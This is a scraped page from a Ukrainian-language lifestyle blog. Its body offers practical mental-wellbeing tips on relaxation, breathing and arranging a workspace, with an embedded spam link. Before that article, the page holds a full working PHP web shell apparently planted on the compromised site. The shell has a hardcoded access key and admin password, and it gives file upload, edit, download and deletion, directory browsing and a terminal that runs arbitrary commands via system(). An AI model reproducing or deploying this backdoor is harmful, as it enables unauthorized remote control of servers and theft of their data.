if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Практичні поради для підвищення психічного благополуччя – collectives.berlin

Your digital paradise.

Практичні поради для підвищення психічного благополуччя

Розпочніть день з прогулянки на свіжому повітрі щонайменше 30 хвилин. Це не лише покращує фізичну форму, але й сприяє виробленню ендорфінів, https://mylikari.com.ua/ що допомагає підняти настрій. Дослідження показують, що навіть коротка фізична активність підвищує загальний стан і сприяє ясності думок.

Важливо також створити простір, в якому ви почуваєтеся комфортно. Витратьте час на організацію робочого місця або дому, прибравши відволікаючі предмети. Адаптуйте освітлення та оберіть кольори, які викликають позитивні емоції. Невеликі зміни в навколишньому середовищі можуть значно покращити самопочуття.

Регулярна практика медитації або дихальних вправ допомагає зняти стрес. Приділіть хоча б декілька хвилин на день для концентрації на диханні. Це не лише зменшує тривожність, але й сприяє покращенню уваги та продуктивності.

Спілкування з близькими людьми також відіграє істотну роль. Налагоджуючи контакти, ви можете отримати підтримку й відчувати себе більш комфортно. Знайдіть час для дружніх бесід, обговорення проблем або просто проведіть разом час, що сприяє емоційному благополуччю.

Техніки релаксації для щоденного використання

Практика глибокого дихання допомагає знизити напругу. Знайдіть затишне місце, сядьте або ляжте зручно. Вдихайте глибоко через ніс на рахунок чотири, затримайте дихання на чотири рахунки, а потім видихайте через рот на шість рахунків. Повторюйте цю вправу протягом 5-10 хвилин для досягнення найкращого ефекту.

Візуалізація – це потужний інструмент. Уявіть собі спокійне місце, наприклад, пляж з м’яким піском або лісову галявину. Уловлюйте звуки, аромати, атмосферу цього місця. Це допоможе вам відволіктись від повсякденних турбот і заспокоїтися.

Заняття йогою не лише зміцнюють тіло, але й сприяють зменшенню стресу. Виберіть кілька простих асан, таких як «дитяча поза» або «позначка», і практикуйте їх щодня. Це дозволить зняти напругу м’язів і заспокоїти розум.

Прогулянки на свіжому повітрі позитивно впливають на настрій. Виберіть маршрут, який вам приємний. Навіть коротка прогулянка в парку стимулює виділення ендорфінів та покращує самопочуття.

Слухайте музику для релаксації. Підберіть плейлист з ніжними мелодіями або звуками природи. Витратьте 15-30 хвилин, насолоджуючись музикою, щоб переключитися з повсякденних думок.

Масаж рук – ще один простий метод. Витратіть кілька хвилин, розтираючи пальці та долоні. Це покращить кровообіг і допоможе зняти стрес. Зосередьтеся на відчуттях у долонях, аби ще більше розслабитися.

Читання книг або журналів – відмінний спосіб відволіктися. Оберіть матеріал, який вам справді цікавий. Мінімум 20 хвилин на день за читанням дозволить відновити внутрішню гармонію та зняти напругу.

Як створити комфортне простір для роботи та відпочинку

Виберіть місце з природним освітленням. Яскраве світло покращує настрій та продуктивність. Розмістіть своє робоче місце поруч з вікном, аби використати сонячне світло впродовж дня. Якщо природне освітлення недоступне, інвестуйте у якісні лампи з регульованою яскравістю.

Організуйте простір так, щоб він був максимально функціональним. Використовуйте полиці, ящики та органайзери, щоб уникнути безладу. Чітка структура допомагає зосередитися на завданнях. Виділіть окрему зону для відпочинку, де можна розслабитися з книгою або випити чашку чаю.

Урахуйте ергономіку меблів. Правильна висота столу та стільця запобігає неприємним відчуттям у спині та шиї. Вибирайте меблі, які забезпечують комфорт під час тривалої роботи. Сидіння з підтримкою та можливістю регулювання висоти стануть корисними інвестиціями.

Додайте елементи природи. Рослини створюють затишну атмосферу, покращують якість повітря та підвищують настрій. Обрізані квіти або кімнатні рослини здатні наповнити простір енергією. Вибирайте ті, які не вимагають особливого догляду, якщо у вас недостатньо часу.

Створіть зону для розслаблення з приємною атмосферою. М’яка меблі, м’яке освітлення та улюблені аксесуари швидко допоможуть пом’якшити напругу. Місце для медитації або просто відпочинку стане відмінним рішенням для перезавантаження.

Звуковий фон впливає на загальний стан. Використовуйте спеціальні плейлисти для концентрації, або звуки природи. Відключайте відволікаючі звуки, використовуючи шумозаглушувальні навушники або аудіопристрої. Комфортна звукова атмосфера знижує стрес і сприяє продуктивності.

Leave a Reply

Your email address will not be published. Required fields are marked *